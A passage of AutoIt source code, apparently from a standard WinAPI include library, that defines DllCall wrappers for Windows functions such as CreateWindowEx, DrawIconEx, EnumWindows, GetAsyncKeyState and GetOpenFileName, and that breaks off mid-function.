  4376. Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
  4377. If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
  4378. Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
  4379. If @error Then Return SetError(@error, @extended, 0)
  4380. Return $aresult[0]
  4381. EndFunc
  4382.  
  4383. Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
  4384. Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
  4385. If @error Then Return SetError(@error, @extended, 0)
  4386. Return $aresult[0]
  4387. EndFunc
  4388.  
  4389. Func _winapi_deletedc($hdc)
  4390. Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
  4391. If @error Then Return SetError(@error, @extended, False)
  4392. Return $aresult[0]
  4393. EndFunc
  4394.  
  4395. Func _winapi_deleteobject($hobject)
  4396. Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
  4397. If @error Then Return SetError(@error, @extended, False)
  4398. Return $aresult[0]
  4399. EndFunc
  4400.  
  4401. Func _winapi_destroyicon($hicon)
  4402. Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
  4403. If @error Then Return SetError(@error, @extended, False)
  4404. Return $aresult[0]
  4405. EndFunc
  4406.  
  4407. Func _winapi_destroywindow($hwnd)
  4408. Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
  4409. If @error Then Return SetError(@error, @extended, False)
  4410. Return $aresult[0]
  4411. EndFunc
  4412.  
  4413. Func _winapi_drawedge($hdc, $prect, $iedgetype, $iflags)
  4414. Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $prect, "uint", $iedgetype, "uint", $iflags)
  4415. If @error Then Return SetError(@error, @extended, False)
  4416. Return $aresult[0]
  4417. EndFunc
  4418.  
  4419. Func _winapi_drawframecontrol($hdc, $prect, $itype, $istate)
  4420. Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $prect, "uint", $itype, "uint", $istate)
  4421. If @error Then Return SetError(@error, @extended, False)
  4422. Return $aresult[0]
  4423. EndFunc
  4424.  
  4425. Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
  4426. Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
  4427. If @error Then Return SetError(@error, @extended, False)
  4428. Return $aresult[0]
  4429. EndFunc
  4430.  
  4431. Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
  4432. Local $ioptions
  4433. Switch $iflags
  4434. Case 1
  4435. $ioptions = $di_mask
  4436. Case 2
  4437. $ioptions = $di_image
  4438. Case 3
  4439. $ioptions = $di_normal
  4440. Case 4
  4441. $ioptions = $di_compat
  4442. Case 5
  4443. $ioptions = $di_defaultsize
  4444. Case Else
  4445. $ioptions = $di_nomirror
  4446. EndSwitch
  4447. Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
  4448. If @error Then Return SetError(@error, @extended, False)
  4449. Return $aresult[0]
  4450. EndFunc
  4451.  
  4452. Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
  4453. _winapi_moveto($hdc, $ix1, $iy1)
  4454. If @error Then Return SetError(@error, @extended, False)
  4455. _winapi_lineto($hdc, $ix2, $iy2)
  4456. If @error Then Return SetError(@error + 10, @extended, False)
  4457. Return True
  4458. EndFunc
  4459.  
  4460. Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
  4461. Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
  4462. If @error Then Return SetError(@error, @extended, 0)
  4463. Return $aresult[0]
  4464. EndFunc
  4465.  
  4466. Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $binherithandle, $ioptions)
  4467. Local $aresult = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $binherithandle, "dword", $ioptions)
  4468. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
  4469. Return $aresult[4]
  4470. EndFunc
  4471.  
  4472. Func _winapi_enablewindow($hwnd, $benable = True)
  4473. Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $benable)
  4474. If @error Then Return SetError(@error, @extended, False)
  4475. Return $aresult[0]
  4476. EndFunc
  4477.  
  4478. Func _winapi_enumdisplaydevices($sdevice, $idevnum)
  4479. Local $tname = 0, $iflags = 0, $adevice[5]
  4480. If $sdevice <> "" Then
  4481. $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
  4482. DllStructSetData($tname, "Text", $sdevice)
  4483. EndIf
  4484. Local $tdevice = DllStructCreate($tagdisplay_device)
  4485. Local $idevice = DllStructGetSize($tdevice)
  4486. DllStructSetData($tdevice, "Size", $idevice)
  4487. Local $aret = DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
  4488. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4489. Local $in = DllStructGetData($tdevice, "Flags")
  4490. If BitAND($in, $display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
  4491. If BitAND($in, $display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
  4492. If BitAND($in, $display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
  4493. If BitAND($in, $display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
  4494. If BitAND($in, $display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
  4495. If BitAND($in, $display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
  4496. $adevice[0] = True
  4497. $adevice[1] = DllStructGetData($tdevice, "Name")
  4498. $adevice[2] = DllStructGetData($tdevice, "String")
  4499. $adevice[3] = $iflags
  4500. $adevice[4] = DllStructGetData($tdevice, "ID")
  4501. Return $adevice
  4502. EndFunc
  4503.  
  4504. Func _winapi_enumwindows($bvisible = True, $hwnd = Default)
  4505. __winapi_enumwindowsinit()
  4506. If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
  4507. __winapi_enumwindowschild($hwnd, $bvisible)
  4508. Return $__g_awinlist_winapi
  4509. EndFunc
  4510.  
  4511. Func __winapi_enumwindowsadd($hwnd, $sclass = "")
  4512. If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
  4513. $__g_awinlist_winapi[0][0] += 1
  4514. Local $icount = $__g_awinlist_winapi[0][0]
  4515. If $icount >= $__g_awinlist_winapi[0][1] Then
  4516. ReDim $__g_awinlist_winapi[$icount + 64][2]
  4517. $__g_awinlist_winapi[0][1] += 64
  4518. EndIf
  4519. $__g_awinlist_winapi[$icount][0] = $hwnd
  4520. $__g_awinlist_winapi[$icount][1] = $sclass
  4521. EndFunc
  4522.  
  4523. Func __winapi_enumwindowschild($hwnd, $bvisible = True)
  4524. $hwnd = _winapi_getwindow($hwnd, $gw_child)
  4525. While $hwnd <> 0
  4526. If (NOT $bvisible) OR _winapi_iswindowvisible($hwnd) Then
  4527. __winapi_enumwindowsadd($hwnd)
  4528. __winapi_enumwindowschild($hwnd, $bvisible)
  4529. EndIf
  4530. $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  4531. WEnd
  4532. EndFunc
  4533.  
  4534. Func __winapi_enumwindowsinit()
  4535. ReDim $__g_awinlist_winapi[64][2]
  4536. $__g_awinlist_winapi[0][0] = 0
  4537. $__g_awinlist_winapi[0][1] = 64
  4538. EndFunc
  4539.  
  4540. Func _winapi_enumwindowspopup()
  4541. __winapi_enumwindowsinit()
  4542. Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child)
  4543. Local $sclass
  4544. While $hwnd <> 0
  4545. If _winapi_iswindowvisible($hwnd) Then
  4546. $sclass = _winapi_getclassname($hwnd)
  4547. If $sclass = "#32768" Then
  4548. __winapi_enumwindowsadd($hwnd)
  4549. ElseIf $sclass = "ToolbarWindow32" Then
  4550. __winapi_enumwindowsadd($hwnd)
  4551. ElseIf $sclass = "ToolTips_Class32" Then
  4552. __winapi_enumwindowsadd($hwnd)
  4553. ElseIf $sclass = "BaseBar" Then
  4554. __winapi_enumwindowschild($hwnd)
  4555. EndIf
  4556. EndIf
  4557. $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  4558. WEnd
  4559. Return $__g_awinlist_winapi
  4560. EndFunc
  4561.  
  4562. Func _winapi_enumwindowstop()
  4563. __winapi_enumwindowsinit()
  4564. Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $gw_child)
  4565. While $hwnd <> 0
  4566. If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
  4567. $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  4568. WEnd
  4569. Return $__g_awinlist_winapi
  4570. EndFunc
  4571.  
  4572. Func _winapi_expandenvironmentstrings($sstring)
  4573. Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
  4574. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  4575. Return $aresult[2]
  4576. EndFunc
  4577.  
  4578. Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
  4579. Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons)
  4580. If @error Then Return SetError(@error, @extended, 0)
  4581. Return $aresult[0]
  4582. EndFunc
  4583.  
  4584. Func _winapi_fatalappexit($smessage)
  4585. DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
  4586. If @error Then Return SetError(@error, @extended)
  4587. EndFunc
  4588.  
  4589. Func _winapi_fillrect($hdc, $prect, $hbrush)
  4590. Local $aresult
  4591. If IsPtr($hbrush) Then
  4592. $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $prect, "handle", $hbrush)
  4593. Else
  4594. $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $prect, "dword_ptr", $hbrush)
  4595. EndIf
  4596. If @error Then Return SetError(@error, @extended, False)
  4597. Return $aresult[0]
  4598. EndFunc
  4599.  
  4600. Func _winapi_findexecutable($sfilename, $sdirectory = "")
  4601. Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
  4602. If @error Then Return SetError(@error, @extended, "")
  4603. If $aresult[0] <= 32 Then Return SetError(10, $aresult[0], "")
  4604. Return SetExtended($aresult[0], $aresult[3])
  4605. EndFunc
  4606.  
  4607. Func _winapi_findwindow($sclassname, $swindowname)
  4608. Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
  4609. If @error Then Return SetError(@error, @extended, 0)
  4610. Return $aresult[0]
  4611. EndFunc
  4612.  
  4613. Func _winapi_flashwindow($hwnd, $binvert = True)
  4614. Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $binvert)
  4615. If @error Then Return SetError(@error, @extended, False)
  4616. Return $aresult[0]
  4617. EndFunc
  4618.  
  4619. Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
  4620. Local $tflash = DllStructCreate($tagflashwinfo)
  4621. Local $iflash = DllStructGetSize($tflash)
  4622. Local $imode = 0
  4623. If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $flashw_caption)
  4624. If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $flashw_tray)
  4625. If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $flashw_timer)
  4626. If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $flashw_timernofg)
  4627. DllStructSetData($tflash, "Size", $iflash)
  4628. DllStructSetData($tflash, "hWnd", $hwnd)
  4629. DllStructSetData($tflash, "Flags", $imode)
  4630. DllStructSetData($tflash, "Count", $icount)
  4631. DllStructSetData($tflash, "Timeout", $itimeout)
  4632. Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
  4633. If @error Then Return SetError(@error, @extended, False)
  4634. Return $aresult[0]
  4635. EndFunc
  4636.  
  4637. Func _winapi_floattoint($nfloat)
  4638. Local $tfloat = DllStructCreate("float")
  4639. Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
  4640. DllStructSetData($tfloat, 1, $nfloat)
  4641. Return DllStructGetData($tint, 1)
  4642. EndFunc
  4643.  
  4644. Func _winapi_flushfilebuffers($hfile)
  4645. Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
  4646. If @error Then Return SetError(@error, @extended, False)
  4647. Return $aresult[0]
  4648. EndFunc
  4649.  
  4650. Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
  4651. Local $sbuffertype = "struct*"
  4652. If IsString($pbuffer) Then $sbuffertype = "wstr"
  4653. Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
  4654. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  4655. If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
  4656. Return $aresult[0]
  4657. EndFunc
  4658.  
  4659. Func _winapi_framerect($hdc, $prect, $hbrush)
  4660. Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $prect, "handle", $hbrush)
  4661. If @error Then Return SetError(@error, @extended, False)
  4662. Return $aresult[0]
  4663. EndFunc
  4664.  
  4665. Func _winapi_freelibrary($hmodule)
  4666. Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
  4667. If @error Then Return SetError(@error, @extended, False)
  4668. Return $aresult[0]
  4669. EndFunc
  4670.  
  4671. Func _winapi_getancestor($hwnd, $iflags = 1)
  4672. Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
  4673. If @error Then Return SetError(@error, @extended, 0)
  4674. Return $aresult[0]
  4675. EndFunc
  4676.  
  4677. Func _winapi_getasynckeystate($ikey)
  4678. Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
  4679. If @error Then Return SetError(@error, @extended, 0)
  4680. Return $aresult[0]
  4681. EndFunc
  4682.  
  4683. Func _winapi_getbkmode($hdc)
  4684. Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
  4685. If @error Then Return SetError(@error, @extended, 0)
  4686. Return $aresult[0]
  4687. EndFunc
  4688.  
  4689. Func _winapi_getclassname($hwnd)
  4690. If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  4691. Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  4692. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
  4693. Return SetExtended($aresult[0], $aresult[2])
  4694. EndFunc
  4695.  
  4696. Func _winapi_getclientheight($hwnd)
  4697. Local $trect = _winapi_getclientrect($hwnd)
  4698. If @error Then Return SetError(@error, @extended, 0)
  4699. Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  4700. EndFunc
  4701.  
  4702. Func _winapi_getclientwidth($hwnd)
  4703. Local $trect = _winapi_getclientrect($hwnd)
  4704. If @error Then Return SetError(@error, @extended, 0)
  4705. Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  4706. EndFunc
  4707.  
  4708. Func _winapi_getclientrect($hwnd)
  4709. Local $trect = DllStructCreate($tagrect)
  4710. Local $aret = DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
  4711. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4712. Return $trect
  4713. EndFunc
  4714.  
  4715. Func _winapi_getcurrentprocess()
  4716. Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
  4717. If @error Then Return SetError(@error, @extended, 0)
  4718. Return $aresult[0]
  4719. EndFunc
  4720.  
  4721. Func _winapi_getcurrentprocessid()
  4722. Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
  4723. If @error Then Return SetError(@error, @extended, 0)
  4724. Return $aresult[0]
  4725. EndFunc
  4726.  
  4727. Func _winapi_getcurrentthread()
  4728. Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  4729. If @error Then Return SetError(@error, @extended, 0)
  4730. Return $aresult[0]
  4731. EndFunc
  4732.  
  4733. Func _winapi_getcurrentthreadid()
  4734. Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
  4735. If @error Then Return SetError(@error, @extended, 0)
  4736. Return $aresult[0]
  4737. EndFunc
  4738.  
  4739. Func _winapi_getcursorinfo()
  4740. Local $tcursor = DllStructCreate($tagcursorinfo)
  4741. Local $icursor = DllStructGetSize($tcursor)
  4742. DllStructSetData($tcursor, "Size", $icursor)
  4743. Local $aret = DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
  4744. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4745. Local $acursor[5]
  4746. $acursor[0] = True
  4747. $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
  4748. $acursor[2] = DllStructGetData($tcursor, "hCursor")
  4749. $acursor[3] = DllStructGetData($tcursor, "X")
  4750. $acursor[4] = DllStructGetData($tcursor, "Y")
  4751. Return $acursor
  4752. EndFunc
  4753.  
  4754. Func _winapi_getdc($hwnd)
  4755. Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  4756. If @error Then Return SetError(@error, @extended, 0)
  4757. Return $aresult[0]
  4758. EndFunc
  4759.  
  4760. Func _winapi_getdesktopwindow()
  4761. Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
  4762. If @error Then Return SetError(@error, @extended, 0)
  4763. Return $aresult[0]
  4764. EndFunc
  4765.  
  4766. Func _winapi_getdevicecaps($hdc, $iindex)
  4767. Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
  4768. If @error Then Return SetError(@error, @extended, 0)
  4769. Return $aresult[0]
  4770. EndFunc
  4771.  
  4772. Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
  4773. Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
  4774. If @error Then Return SetError(@error, @extended, False)
  4775. Return $aresult[0]
  4776. EndFunc
  4777.  
  4778. Func _winapi_getdlgctrlid($hwnd)
  4779. Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
  4780. If @error Then Return SetError(@error, @extended, 0)
  4781. Return $aresult[0]
  4782. EndFunc
  4783.  
  4784. Func _winapi_getdlgitem($hwnd, $iitemid)
  4785. Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
  4786. If @error Then Return SetError(@error, @extended, 0)
  4787. Return $aresult[0]
  4788. EndFunc
  4789.  
  4790. Func _winapi_getfilesizeex($hfile)
  4791. Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
  4792. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, -1)
  4793. Return $aresult[2]
  4794. EndFunc
  4795.  
  4796. Func _winapi_getfocus()
  4797. Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
  4798. If @error Then Return SetError(@error, @extended, 0)
  4799. Return $aresult[0]
  4800. EndFunc
  4801.  
  4802. Func _winapi_getforegroundwindow()
  4803. Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
  4804. If @error Then Return SetError(@error, @extended, 0)
  4805. Return $aresult[0]
  4806. EndFunc
  4807.  
  4808. Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
  4809. If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
  4810. Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
  4811. If @error Then Return SetError(@error, @extended, 0)
  4812. Return $aresult[0]
  4813. EndFunc
  4814.  
  4815. Func _winapi_geticoninfo($hicon)
  4816. Local $tinfo = DllStructCreate($tagiconinfo)
  4817. Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
  4818. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  4819. Local $aicon[6]
  4820. $aicon[0] = True
  4821. $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
  4822. $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
  4823. $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
  4824. $aicon[4] = DllStructGetData($tinfo, "hMask")
  4825. $aicon[5] = DllStructGetData($tinfo, "hColor")
  4826. Return $aicon
  4827. EndFunc
  4828.  
  4829. Func _winapi_getlasterrormessage()
  4830. Local $ilasterror = _winapi_getlasterror()
  4831. Local $tbufferptr = DllStructCreate("ptr")
  4832. Local $ncount = _winapi_formatmessage(BitOR($format_message_allocate_buffer, $format_message_from_system), 0, $ilasterror, 0, $tbufferptr, 0, 0)
  4833. If @error Then Return SetError(@error, 0, "")
  4834. Local $stext = ""
  4835. Local $pbuffer = DllStructGetData($tbufferptr, 1)
  4836. If $pbuffer Then
  4837. If $ncount > 0 Then
  4838. Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
  4839. $stext = DllStructGetData($tbuffer, 1)
  4840. EndIf
  4841. _winapi_localfree($pbuffer)
  4842. EndIf
  4843. Return $stext
  4844. EndFunc
  4845.  
  4846. Func _winapi_getlayeredwindowattributes($hwnd, ByRef $itranscolor, ByRef $itransparency, $bcolorref = False)
  4847. $itranscolor = -1
  4848. $itransparency = -1
  4849. Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "INT*", $itranscolor, "byte*", $itransparency, "dword*", 0)
  4850. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
  4851. If NOT $bcolorref Then
  4852. $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
  4853. EndIf
  4854. $itranscolor = $aresult[2]
  4855. $itransparency = $aresult[3]
  4856. Return $aresult[4]
  4857. EndFunc
  4858.  
  4859. Func _winapi_getmodulehandle($smodulename)
  4860. Local $smodulenametype = "wstr"
  4861. If $smodulename = "" Then
  4862. $smodulename = 0
  4863. $smodulenametype = "ptr"
  4864. EndIf
  4865. Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
  4866. If @error Then Return SetError(@error, @extended, 0)
  4867. Return $aresult[0]
  4868. EndFunc
  4869.  
  4870. Func _winapi_getmousepos($btoclient = False, $hwnd = 0)
  4871. Local $imode = Opt("MouseCoordMode", 1)
  4872. Local $apos = MouseGetPos()
  4873. Opt("MouseCoordMode", $imode)
  4874. Local $tpoint = DllStructCreate($tagpoint)
  4875. DllStructSetData($tpoint, "X", $apos[0])
  4876. DllStructSetData($tpoint, "Y", $apos[1])
  4877. If $btoclient AND NOT _winapi_screentoclient($hwnd, $tpoint) Then Return SetError(@error + 20, @extended, 0)
  4878. Return $tpoint
  4879. EndFunc
  4880.  
  4881. Func _winapi_getmouseposx($btoclient = False, $hwnd = 0)
  4882. Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
  4883. If @error Then Return SetError(@error, @extended, 0)
  4884. Return DllStructGetData($tpoint, "X")
  4885. EndFunc
  4886.  
  4887. Func _winapi_getmouseposy($btoclient = False, $hwnd = 0)
  4888. Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
  4889. If @error Then Return SetError(@error, @extended, 0)
  4890. Return DllStructGetData($tpoint, "Y")
  4891. EndFunc
  4892.  
  4893. Func _winapi_getobject($hobject, $isize, $pobject)
  4894. Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject)
  4895. If @error Then Return SetError(@error, @extended, 0)
  4896. Return $aresult[0]
  4897. EndFunc
  4898.  
  4899. Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  4900. Local $ipathlen = 4096
  4901. Local $inulls = 0
  4902. Local $tofn = DllStructCreate($tagopenfilename)
  4903. Local $afiles[1] = [0]
  4904. Local $iflag = $iflags
  4905. Local $asflines = StringSplit($sfilter, "|")
  4906. Local $asfilter[$asflines[0] * 2 + 1]
  4907. Local $istart, $ifinal, $tagfilter
  4908. $asfilter[0] = $asflines[0] * 2
  4909. For $i = 1 To $asflines[0]
  4910. $istart = StringInStr($asflines[$i], "(", 0, 1)
  4911. $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  4912. $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), $str_stripleading + $str_striptrailing)
  4913. $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), $str_stripleading + $str_striptrailing)
  4914. $tagfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  4915. Next
  4916. Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  4917. Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  4918. Local $tfilter = DllStructCreate($tagfilter & "wchar")
  4919. Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  4920. Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  4921. For $i = 1 To $asfilter[0]
  4922. DllStructSetData($tfilter, $i, $asfilter[$i])
  4923. Next
  4924. DllStructSetData($ttitle, "Title", $stitle)
  4925. DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  4926. DllStructSetData($tpath, "Path", $sdefaultfile)
  4927. DllStructSetData($textn, "Extension", $sdefaultext)
  4928. DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  4929. DllStructSetData($tofn, "hwndOwner", $hwndowner)
  4930. DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  4931. DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  4932. DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  4933. DllStructSetData($tofn, "nMaxFile", $ipathlen)
  4934. DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  4935. DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  4936. DllStructSetData($tofn, "Flags", $iflag)
  4937. DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  4938. DllStructSetData($tofn, "FlagsEx", $iflagsex)
  4939. Local $ares = DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
  4940. If @error OR NOT $ares[0] Then Return SetError(@error + 10, @extended, $afiles)
  4941. If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
  4942. For $x = 1 To $ipathlen
  4943. If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
  4944. DllStructSetData($tpath, "Path", "|", $x)
  4945. $inulls += 1
  4946. Else
  4947. $inulls = 0
  4948. EndIf
  4949. If $inulls = 2 Then ExitLoop
  4950. Next
  4951. DllStructSetData($tpath, "Path", Chr(0), $x - 1)
  4952. $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
  4953. If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  4954. Return StringSplit(DllStructGetData($tpath, "Path"), "|")
  4955. ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
  4956. $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
  4957. If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  4958. Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
  4959. Else
